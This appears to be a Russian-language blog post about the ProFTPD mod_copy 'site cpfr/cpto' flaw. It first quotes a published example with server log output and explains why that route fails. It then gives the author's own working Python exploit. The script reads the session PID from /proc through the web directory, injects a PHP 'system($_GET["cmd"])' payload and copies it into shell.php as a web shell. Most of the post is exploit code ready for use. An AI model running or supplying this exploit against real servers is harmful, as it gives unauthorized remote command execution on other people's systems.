Про site cpfr/cpto в ProFTPD с PHP (моя версия)
После публикации деталей уязвимости в ProFTPD в интернетах начался массовый скан. Я решил проверил данную брешь на своих ресурсах. Под рукой имелись сервера под Debian 7 и Ubuntu 14.04.
В описании указано, что мы можем копировать произвольные файлы в директории доступные для записи. Также есть пример:
------------------------------ site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto <?php phpinfo(); ?> 550 cpto: Permission denied site cpfr /proc/self/fd/3 350 File or directory exists, ready for destination name site cpto /var/www/test.php test.php now contains ---------------------- 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): FTP session opened. 2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php phpinfo(); ?>' for copying: Permission denied -----------------------
На самом деле файлы копируются, но данный пример скорее всего был преувеличен. Ни на одном из проверенных серверов получить доступ к /proc/self/fd/3 не удалось, и вот почему.
/proc/self/fd/3 указывает на /var/log/proftpd/proftpd.log.
Права /var/log/proftpd/proftpd.log “-rw-r—–“. Владеет файлом root и группа root, поэтому, просто взять и получить к нему доступ нельзя.
Используя данную уязвимость можно добиться желаемой цели, но пример был выбран неудачно.
Моя версия событий:
import socket, requests, re, sys
server = '127.0.0.1'
pathToDir = '/var/www/html/uploads/'
urlToDir = 'http://localhost/uploads/'
payload = '<?=system($_GET["cmd"]);'
pidCheck = 'forCheck.txt'
fileShell = 'shell.php'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, 21))
print 'Connect...',
tmp = s.recv(1024)
if len(tmp) > 0:
print " OK\n"
else:
print "Fail"
sys.exit()
s.send('site cpfr /proc/self/status\n')
s.recv(1024)
s.send('site cpto ' + str(pathToDir) + str(pidCheck) + "\n")
s.recv(1024)
s.send("site cpfr " + str(payload) + "\n")
s.recv(1024)
# <getPID>
r = requests.get(str(urlToDir) + str(pidCheck))
pid = r.content
pidNum = re.findall(r"Pid\: (\d+)", pid)
# </getPID>
if len(pidNum) > 0:
print "PID found: " + str(pidNum[0])
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((server, 21))
s2.recv(1024)
s2.send("site cpfr /proc/" + str(pidNum[0]) + "/cmdline\n")
s2.recv(1024)
s2.send("site cpto " + str(pathToDir) + str(fileShell) + "\n")
s2.recv(1024)
print "Your shell: " + str(urlToDir) + fileShell
else:
print("PID not found :(")
Определяем PID, затем выполняем команду с нашим пэйлоадом в виде PHP кода, после этого, во втором соединении копируем cmdline из первого соединения. Всё просто 🙂